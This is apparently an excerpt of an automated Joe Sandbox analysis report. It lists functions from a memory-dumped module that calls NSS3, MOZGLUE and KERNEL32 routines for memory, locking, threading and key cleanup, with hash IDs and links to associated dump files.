Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 8a57f5ec4e3bdb7ef93579f60769c2ce369836042fd359bfba6aed27ded2038a
Instruction ID: 0dfc9b80e2499090eaf24c13e84d2054e6c30b2e0d98e1d7a05936fb19e4823c
Opcode Fuzzy Hash: 8a57f5ec4e3bdb7ef93579f60769c2ce369836042fd359bfba6aed27ded2038a
Instruction Fuzzy Hash: 03217FB4A04605CFDB00AF79C5841AABBF4FF0A309F10466ADC9897B15E730D895CB96

Function 6C6328A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C6280DD), ref: 6C6328BA
EnterCriticalSection.KERNEL32(?,?,?,?,6C6280DD), ref: 6C6328D3
PR_Unlock.NSS3(?,?,?,?,?,6C6280DD), ref: 6C6328E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6C6280DD), ref: 6C63290E
free.MOZGLUE(?,?,?,?,?,?,6C6280DD), ref: 6C63291A

Part of subcall function 6C629270: DeleteCriticalSection.KERNEL32(?,?,6C635089,?,6C633B70,?,?,?,?,?,6C635089,6C62F39B,00000000), ref: 6C62927F
Part of subcall function 6C629270: free.MOZGLUE(?,?,6C633B70,?,?,?,?,?,6C635089,6C62F39B,00000000), ref: 6C629286
Part of subcall function 6C629270: PL_HashTableDestroy.NSS3(?,6C633B70,?,?,?,?,?,6C635089,6C62F39B,00000000), ref: 6C629292

Part of subcall function 6C628B50: TlsGetValue.KERNEL32(00000000,?,6C630948,00000000), ref: 6C628B6B
Part of subcall function 6C628B50: EnterCriticalSection.KERNEL32(?,?,?,6C630948,00000000), ref: 6C628B80
Part of subcall function 6C628B50: PL_FinishArenaPool.NSS3(?,?,?,?,6C630948,00000000), ref: 6C628B8F
Part of subcall function 6C628B50: PR_Unlock.NSS3(?,?,?,?,6C630948,00000000), ref: 6C628BA1
Part of subcall function 6C628B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C630948,00000000), ref: 6C628BAC
Part of subcall function 6C628B50: free.MOZGLUE(?,?,?,?,?,6C630948,00000000), ref: 6C628BB8

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: d6058b3e09aed5432ea5071e54b563a03f75622c1ae74ea0abe1bc260862a955
Instruction ID: fc730537e6ef3ce2f99888296c58462b87075de547866730f2d62e36fb2ce592
Opcode Fuzzy Hash: d6058b3e09aed5432ea5071e54b563a03f75622c1ae74ea0abe1bc260862a955
Instruction Fuzzy Hash: 59213CB5A04B159BCB00BF79C088469BBF0FF06359F015969DC989B701E734E895CBDA

Function 6C6009E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6C6006A2,00000000,?), ref: 6C6009F8
malloc.MOZGLUE(0000001F), ref: 6C600A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6C600A33

Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007AD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007CD
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C59204A), ref: 6C6007D6
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C59204A), ref: 6C6007E4
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,6C59204A), ref: 6C600864
Part of subcall function 6C6007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C600880
Part of subcall function 6C6007A0: TlsSetValue.KERNEL32(00000000,?,?,6C59204A), ref: 6C6008CB
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008D7
Part of subcall function 6C6007A0: TlsGetValue.KERNEL32(?,?,6C59204A), ref: 6C6008FB

PR_Free.NSS3(?), ref: 6C600A6C
PR_Free.NSS3(?), ref: 6C600A87

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 2b266ef67fb131785e75349a353fd49122533c6df90261e4e66c4b1f10e3bf62
Instruction ID: f7e8f432c15eb7a2ad49c467ec8f042ecd633db092eeca07044fc7fdf0bda68b
Opcode Fuzzy Hash: 2b266ef67fb131785e75349a353fd49122533c6df90261e4e66c4b1f10e3bf62
Instruction Fuzzy Hash: DB1106B1B00B809BEB119F29CB8679377A8BF42359F50553AD85A92E01EB31F454C7A8

Function 6C6A04C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C6A461B,-00000004), ref: 6C6A04DF
TlsGetValue.KERNEL32(?,00000000,?,6C6A461B,-00000004), ref: 6C6A0510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6C6A0520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C6A461B,-00000004), ref: 6C6A0534
GetLastError.KERNEL32(?,6C6A461B,-00000004), ref: 6C6A0543

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 56018440eb15272ea27f063314836b358122af6a6320d6de04daf388227f7892
Instruction ID: 573b7baceb1a3d43e60c7340109cdd595b0d3fe2bdaf42302fd764ba35ed587d
Opcode Fuzzy Hash: 56018440eb15272ea27f063314836b358122af6a6320d6de04daf388227f7892
Instruction Fuzzy Hash: D5117A30B042816BDF006EB8CD14B757668EF06319F600674E42BC3990EB31D952CB99

Function 6C628FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C630710), ref: 6C628FF1
PR_CallOnce.NSS3(6C772158,6C629150,00000000,?,?,?,6C629138,?,6C630710), ref: 6C629029
calloc.MOZGLUE(00000001,00000000,?,?,6C630710), ref: 6C62904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C630710), ref: 6C629066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C630710), ref: 6C629078

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 0416576a7d686acbe2620c25ec1360ebdba7fe73fe79690b6f1abad34e8eca20
Instruction ID: bb41758e5717cd14225baf52ab005f8a980834a25fb53d9aacb512412d7bba8f
Opcode Fuzzy Hash: 0416576a7d686acbe2620c25ec1360ebdba7fe73fe79690b6f1abad34e8eca20
Instruction Fuzzy Hash: 3C11E52170012957EB202669AC04AB6B2A8EBC27ADF540139FC84C6B80F75BCD45CBB9

Function 6C6A4AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6C6A4AD1), ref: 6C6A4B62
free.MOZGLUE(?,00015180,00000005,?,6C6A4AD1), ref: 6C6A4B76

Part of subcall function 6C6A03C0: CloseHandle.KERNEL32(?,?,?,?,6C6A4B27,?,?,00015180,00000005,?,6C6A4AD1), ref: 6C6A03E0
Part of subcall function 6C6A03C0: GetLastError.KERNEL32(?,6C6A4B27,?,?,00015180,00000005,?,6C6A4AD1), ref: 6C6A03FD

Part of subcall function 6C6A03C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6C6A4B27,?,?,00015180,00000005,?,6C6A4AD1), ref: 6C6A0419
Part of subcall function 6C6A03C0: free.MOZGLUE(?,?,6C6A4B27,?,?,00015180,00000005,?,6C6A4AD1), ref: 6C6A0420

CloseHandle.KERNEL32(?,00015180,00000005,?,6C6A4AD1), ref: 6C6A4B96
free.MOZGLUE(?,?,6C6A4AD1), ref: 6C6A4B9D
memset.VCRUNTIME140(6C772F9C,00000000,00000090,00015180,00000005,?,6C6A4AD1), ref: 6C6A4BB2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: ac7ad4cb2f73052f07af3fed8deec1cd175a81377f5e6a965e7bf1e7f524938f
Instruction ID: f4666b71de3823d507706682fac25abeaf049f90e319001edbdfc0d7242304fa
Opcode Fuzzy Hash: ac7ad4cb2f73052f07af3fed8deec1cd175a81377f5e6a965e7bf1e7f524938f
Instruction Fuzzy Hash: 3311E272B01628EBDE229A94CC09B6A7336BB0235DF000034F51953A50E771A81ACBFA

Function 6C63CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C651E10: TlsGetValue.KERNEL32 ref: 6C651E36
Part of subcall function 6C651E10: EnterCriticalSection.KERNEL32(?,?,?,6C62B1EE,2404110F,?,?), ref: 6C651E4B
Part of subcall function 6C651E10: PR_Unlock.NSS3 ref: 6C651E76

free.MOZGLUE(?,6C63D079,00000000,00000001), ref: 6C63CDA5
PK11_FreeSymKey.NSS3(?,6C63D079,00000000,00000001), ref: 6C63CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C63D079,00000000,00000001), ref: 6C63CDCF
DeleteCriticalSection.KERNEL32(?,6C63D079,00000000,00000001), ref: 6C63CDE2
free.MOZGLUE(?), ref: 6C63CDE9

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: e80a0bfbb9f353582201809b3d9f4397c73dde79c4e10183fda57c15cd25c983
Instruction ID: b3503dfd396a5bf2f6563d12a22050af6d39d3a23ec92966f083f6266ce89a4c
Opcode Fuzzy Hash: e80a0bfbb9f353582201809b3d9f4397c73dde79c4e10183fda57c15cd25c983
Instruction Fuzzy Hash: 1D1151B2B01225BBDE01AA65EC45996776CBF053597145231F90E87E01D732E434C7E5

Function 6C6A2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A2CEC

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A2D02
PR_EnterMonitor.NSS3(?), ref: 6C6A2D1F
PR_ExitMonitor.NSS3(?), ref: 6C6A2D42
PR_ExitMonitor.NSS3(?), ref: 6C6A2D5B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 896430cd4daeae396e3b5bba420e662d19466ab255e32b2f98d570aac88994b3
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: B101C8B59506006BE630AE66FC40BC7B7E1EF4631CF044525E85E86711D632FD16879A

Function 6C6A2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6A5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6A2D9C

Part of subcall function 6C6BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6BC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6A2DB2
PR_EnterMonitor.NSS3(?), ref: 6C6A2DCF
PR_ExitMonitor.NSS3(?), ref: 6C6A2DF2
PR_ExitMonitor.NSS3(?), ref: 6C6A2E0B

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 97d2e24b77476a25e62cd5186e59b894e4c3ed11227b357816f98f59d0770507
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 8001C8B59406006BE7309E66FC01BC7B7A1EF4631CF044435E85D86B11D632FD26C6AE

Function 6C63AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C623090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C63AE42), ref: 6C6230AA
Part of subcall function 6C623090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6230C7
Part of subcall function 6C623090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6230E5
Part of subcall function 6C623090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C623116
Part of subcall function 6C623090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C62312B
Part of subcall function 6C623090: PK11_DestroyObject.NSS3(?,?), ref: 6C623154
Part of subcall function 6C623090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C62317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C6199FF,?,?,?,?,?,?,?,?,?,6C612D6B,?), ref: 6C63AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C6199FF,?,?,?,?,?,?,?,?,?,6C612D6B,?), ref: 6C63AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C612D6B,?,?,00000000), ref: 6C63AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C612D6B,?,?,00000000), ref: 6C63AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C612D6B,?,?), ref: 6C63AEA3

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 3e2ffdd8e0e11cc30651efa90be4e42d382a2d895615bd9f49e99546c6b26c9c
Instruction ID: 39435fc28982445f7c2feaf5c7634e8e4101667d92343f75f00d88caa3c38720
Opcode Fuzzy Hash: 3e2ffdd8e0e11cc30651efa90be4e42d382a2d895615bd9f49e99546c6b26c9c
Instruction Fuzzy Hash: 0901D666B0403057EB0151ECAC85ADB31588B8765CB083531E90DC7B83F616D90667AF

Function 6C720930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C720C83), ref: 6C72094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C720C83), ref: 6C720974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C720983
_PR_MD_UNLOCK.NSS3(?,?,6C720C83), ref: 6C72099F
OutputDebugStringA.KERNEL32(?,?,6C720C83), ref: 6C7209B2

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 47a401d9f347c82b6198d8b2b8cc0e1755e27594ceea57fbd48fc6a45103ff0e
Instruction ID: 4598958ff77021593ecc36a37be3a41e6f7c7509f537e074d78315828ae4e569
Opcode Fuzzy Hash: 47a401d9f347c82b6198d8b2b8cc0e1755e27594ceea57fbd48fc6a45103ff0e
Instruction Fuzzy Hash: 47011BB47012689FDF02AF28C866B653BB8AB47719F180175E88AC3652DB39E450CB35

Function 6C722A40 Relevance: 7.5, APIs: 5, Instructions: 41stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C722A5B
free.MOZGLUE(?), ref: 6C722A6D
strdup.MOZGLUE(?), ref: 6C722A7B
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C722A96
PR_ExitMonitor.NSS3 ref: 6C722AB5

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: Monitor$EnterErrorExitfreestrdup
String ID:
API String ID: 1948362043-0
Opcode ID: 22be6cd2f2564f093f10d70c073bf381c1d4eb5c58bff998a498d1d858415bba
Instruction ID: c59d4b5b83b6e514c3295d85139b50a6c31154b770406c5d9d94c47af4c7be00
Opcode Fuzzy Hash: 22be6cd2f2564f093f10d70c073bf381c1d4eb5c58bff998a498d1d858415bba
Instruction Fuzzy Hash: 23F081B6F1013857DF21AE65AD197467634BB0279DF090130EC0996A01EB35D918C7EA

Function 6C72ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C72A6D8), ref: 6C72AE0D
free.MOZGLUE(?), ref: 6C72AE14
DeleteCriticalSection.KERNEL32(6C72A6D8), ref: 6C72AE36
free.MOZGLUE(?), ref: 6C72AE3D
free.MOZGLUE(00000000,00000000,?,?,6C72A6D8), ref: 6C72AE47

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c590000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 06ca2829ecad6cf307a98178b381f4230223d0798a08a512d43dcf7bbe779109
Instruction ID: b0c5c448ab69fc65d72efd017822a49dab6db7ccd54e9aacb852a02c1705eca4
Opcode Fuzzy Hash: 06ca2829ecad6cf307a98178b381f4230223d0798a08a512d43dcf7bbe779109
Instruction Fuzzy Hash: FEF0C2B5601B01A7CF009F699809927777CBF86776710033DE12A83940D735E412C7D1

Function 6C5A88D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C5A8990

Strings

@z[l, xrefs: 6C5A8A31

Memory Dump Source

Source File: 00000000.00000002.2134560320.000000006C591000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C590000, based on PE: true

Associated: 00000000.00000002.2134540758.000000006C590000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134680652.000000006C72F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134777383.000000006C76E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134817202.000000006C76F000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134835988.000000006C770000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2134856348.000000006C775000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

